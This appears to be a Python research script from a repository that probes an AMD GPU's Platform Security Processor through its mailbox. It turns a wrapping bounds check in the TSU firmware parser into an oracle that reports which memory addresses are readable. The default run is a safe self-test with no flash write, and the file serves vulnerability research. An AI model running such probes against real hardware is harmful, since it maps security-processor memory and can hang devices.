aboutsummaryrefslogtreecommitdiffstats
path: root/psp_out/probe_tsu_readoracle.py
blob: c3e99b6058c75d93b408059af17880805900430d (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
"""Reachability oracle via the TSU parser — NO flash write.

rom_parse_directory -> fw_tail_scan performs exactly one attacker-directed read:

    v4 = *(image + 20)                          <- we choose this
    if ((unsigned)(v4 + 16) <= 0x200000)        <- 32-bit, wraps
        if (*(_DWORD *)(image + v4) == '$PSP')  <- THE READ at base + v4
        else  result = -65528
    if (v3 != 0 || *a1 != 0) return result;     <- *a1 == 1, returns here

Any non-zero return makes tsu_parse_rom_image bail at detail 7, so
tsu_write_active_slot never runs and flash is never touched.

Oracle:
    status 0x0008 -> the read completed  => that address is readable by SYS_DRV
    status 0x300F -> (v4+16) failed the bound (no read attempted)
    TIMEOUT/hang  -> data abort => not mapped (needs a power cycle)

Usage: probe_tsu_readoracle.py [v4 ...]   (hex ok). Default: in-bounds self-test.
"""
import sys, time
from tinygrad import Device
from tinygrad.helpers import lo32, hi32

d = Device["AMD"]; adev = d.iface.dev_impl
base = adev.reg("regMP0_SMN_C2PMSG_73").addr[0]
def mb(n): return adev.rreg(base + (n - 73))
def mbw(n, v): adev.wreg(base + (n - 73), v & 0xFFFFFFFF)
def alive(): return adev.reg("regMP0_SMN_C2PMSG_81").read() != 0

def submit(cmd, arg=0, to=2.0):
    mbw(116, arg); mbw(115, (cmd & 0xFF) << 16); mbw(73, 1)
    t0 = time.time()
    while time.time() - t0 < to:
        v = mb(115)
        if v & 0x80000000: return v & 0xFFFF, time.time() - t0
        time.sleep(0.001)
    return None, time.time() - t0

SZ = 0x200000
pa = adev.mm.palloc(SZ, align=0x1000, zero=True)
mc = adev.paddr2mc(pa)

def build(v4, plant_psp_at=None):
    buf = bytearray(0x2000)
    buf[0:4]   = (0x55AA55AA).to_bytes(4, 'little')   # gets past rom_parse_directory
    buf[20:24] = (v4 & 0xFFFFFFFF).to_bytes(4, 'little')
    if plant_psp_at is not None:
        buf[plant_psp_at:plant_psp_at+4] = b'$PSP'
    adev.vram.view(pa, len(buf))[:] = bytes(buf)
    adev.gmc.flush_hdp()

def run(v4, label, plant=None):
    if not alive():
        print("  !! sOS DEAD -- stop"); return None
    build(v4, plant)
    submit(0x02, lo32(mc)); submit(0x03, hi32(mc))
    s, dt = submit(0x04)
    txt = "TIMEOUT/HANG" if s is None else "%#06x" % s
    meaning = {0x0008: "read completed (addr READABLE)",
               0x300F: "bound rejected (no read)"}.get(s, "other")
    if s is None: meaning = "FAULT -> not mapped"
    print("  v4=%#010x  %-28s status=%-12s %-32s alive=%s" % (v4 & 0xFFFFFFFF, label, txt, meaning, alive()))
    return s

print("sOS alive:", alive(), " buffer MC=%#x size=%#x" % (mc, SZ))
args = [int(a, 0) for a in sys.argv[1:]]
if args:
    print("\n=== custom offsets ===")
    for v in args: run(v, "custom")
else:
    print("\n=== A. self-test, all reads INSIDE our own buffer (zero risk) ===")
    run(0x000000, "read our dword0 (0x55AA55AA)")
    run(0x000100, "read our +0x100 (zeros)")
    run(0x001000, "read our +0x1000 (zeros)")
    print("\n=== B. positive control: plant '$PSP' where v4 points ===")
    run(0x000800, "plant $PSP at +0x800", plant=0x800)
    print("\n=== C. bound check (should reject without reading) ===")
    run(0x200000, "v4 = 0x200000 (over bound)")
print("\nsOS alive at end:", alive())